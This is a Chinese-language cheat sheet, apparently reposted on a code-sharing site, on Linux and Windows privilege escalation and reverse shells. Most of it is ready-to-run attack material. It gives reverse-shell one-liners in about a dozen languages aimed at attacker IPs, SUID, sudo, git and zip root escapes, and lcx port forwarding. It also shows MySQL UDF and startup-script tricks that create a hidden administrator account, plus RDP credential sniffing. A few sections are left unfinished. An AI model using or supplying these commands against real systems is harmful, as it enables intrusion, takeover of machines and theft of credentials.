提權以及反彈shell一些方法


提權以及反彈shell

netcat反彈shell

kali中使用nc(netcat)進行監聽 用法 : nv -lvvp 2333(端口號)

靶機中使用 bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同樣可以寫成一句話木馬進行反彈shell。

命令提權

1、使用suid提權,找到一個屬於root的具有s權限的文件;s是提權符
 find / -user root -perm -4000 -print 2>/dev/null
 find / -perm -u=s -type f 2>/dev/null
 find / -user root -perm -4000 -exec ls -ldb {} \;

例如:在DC-1中,首先touch新建一個文件,然后執行

 touch abcd
 find abcd -exec whoami \;
 find / -name abcd -exec "/bin/sh" \;   #分號需要轉義,find以分號結尾

具有提權功能的Linux可執行文件包括:

 nmap
 vim
 find
 bash
 more
 less
 nano
 cp

python反彈shell

 #!/usr/bin/python
 import os,subprocess,socket
 
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect(("攻擊機IP地址","攻擊機監聽端口"))
 os.dup2(s.fileno(),0)
 os.dup2(s.fileno(),1)
 os.dup2(s.fileno(),2)
 p=subprocess.call(["/bin/sh","-i"])
其他一些方法
 #bash版本:
 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
 
 #perl版本:
 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
 #python版本:
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 
 #php版本:
 php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
 #ruby版本:
 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 
 #nc版本:
 nc -e /bin/sh 10.0.0.1 1234
 
 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
 
 nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
 
 #java版本
 r = Runtime.getRuntime()
 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 p.waitFor()
 
 #lua
 lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

git提權

 sudo -l  查看具有sudo執行權限的命令
 sudo git -p help或者 sudo git help config
 !/bin/bash

zip提權

 touch exploit
 sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

tar提權

 

 

收集信息:

 內外網
 服務器系統和版本 位數
 服務器的補丁情況
 服務器的安裝軟件情況
 服務器的防護軟件情況
 端口情況
 支持腳本情況

信息收集常用命令:

Windows:

 ipconfig /all
 net user
 netstat -ano
 ver
 systeminfo
 tasklist /svc
 taskkill -PID pid號
 taskkill /im qq.exe /f
 net user test 123456 /add
 net localgroup administrators test /add
 whoami

CMD無法執行

1、防護軟件攔截

2、CMD被降權

3、組件被刪除

找可讀寫目錄上傳cmd.exe,將執行的cmd.exe路徑替換成上傳的路徑

查找3389端口

1、注冊表讀取

2、工具掃描

3、命令探針

端口轉發

lcx

網站服務器是內網IP:192.168.2.3

外網服務器IP是:192.168.80.151

在內網服務器上執行的lcx命令是:lcx.exe -slave 192.168.80.151 51 192.168.2.3 3389

在外網服務器上執行的lcx命令是:lcx.exe -listen 51 3389

數據庫提權

MSSQL提權:安裝組件--->開啟3389---->創建用戶------>提升權限------>完成

Mysql提權:

1、udf提權

獲取到對方數據庫用戶root的賬號密碼

查看網站源碼里面數據庫配置文件(common,config.php,common.inc.php,data)

查看數據庫的配置文件

暴力破解、mysql密碼破解、3306端口入侵

udf提權原理:

通過root權限導出udf.dll到系統目錄下,可以通過udf.dll調用執行cmd

導出到\lib/plugin\安裝目錄下

 create function cmdshell returns string soname 'udf.dll'
 select cmdshell('net user test 123456 /add');
 select cmdshell('net localgroup administrators test /add');
 drop function cmdshell //刪除函數

2、啟動項提權

 1、查看我們進入數據庫中有什么表
 show tables;
 默認情況下,test中沒有任何表的存在
 關鍵部分:
 2、在test數據庫下創建一個新的表
 create table a(cmd text);
 表名為a,字段名為cmd,為text文本
 3、在表中插入數據
 insert into a values ("set wshshell=createobject(""wscript.shell"")");
 insert into a values ("a=wshshell.run(""cmd.exe /c net user test 123456 /add"",0)");
 insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup Administrators test /add"",0)")
 雙引號和括號以及后面的0一定要輸入,用這三條命令建立一個vbs的腳本程序!
 4、查看數據表
 select * form a;
 5、輸出表為一個vbs的腳本文件
 select * from a into outfile "c://開機菜單//啟動//a.vbs";
 6、重啟

3、mof提權

4、反連端口提權

Windows提權:

開啟3389

 使用批處理文件開3389
 使用sql語句開3389
 使用exe開3389
 使用vb開3389

使用wireshark或cain嗅探3389獲取賬號名和密碼

Linux提權:

uname -r 查看內核版本信息

找到對應版本的exp

上傳----編譯---運行----ok


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM